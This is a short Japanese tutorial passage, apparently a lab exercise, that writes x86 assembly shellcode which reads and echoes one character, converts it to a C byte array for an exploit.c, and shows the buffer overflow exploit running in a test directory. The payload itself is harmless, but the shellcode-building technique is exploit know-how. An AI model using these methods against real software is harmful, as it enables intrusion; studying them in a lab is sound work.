このペイロードは標準入力としてコマンドラインから1文字読み込み、標準出力として読み込んだ文字をコマンドラインに出力する。
.globl main
main:
#read
mov $0x3, %al
xorl %ebx, %ebx
mov %esp, %ecx
xorl %edx, %edx
inc %edx
int $0x80
mov %ebx, %esi
#write
mov $0x4, %al
mov $0x1, %bl
int $0x80
#exit
mov $0x1, %al
xorl %ebx, %ebx
int $0x80
このソースコードをバイトコードに変換し、[SC] exploit.cに埋め込む。
char shellcode[]=
"\xb0\x03\x31\xdb\x89\xe1\x31\xd2"
"\x42\xcd\x80\x89\xde\xb0\x04\xb3"
"\x01\xcd\x80\xb0\x01\x31\xdb\xcd\x80"
;
次に、このExploitを実行する。
defolos@glazheim:~/buffer_overflow_test$ ./exploit.exe sp = 0xbffff8f8 ret = 0xbffff8f8 -------exploit--------------- a adefolos@glazheim:~/buffer_overflow_test$
ペイロードが正常に動作していることが確認できた。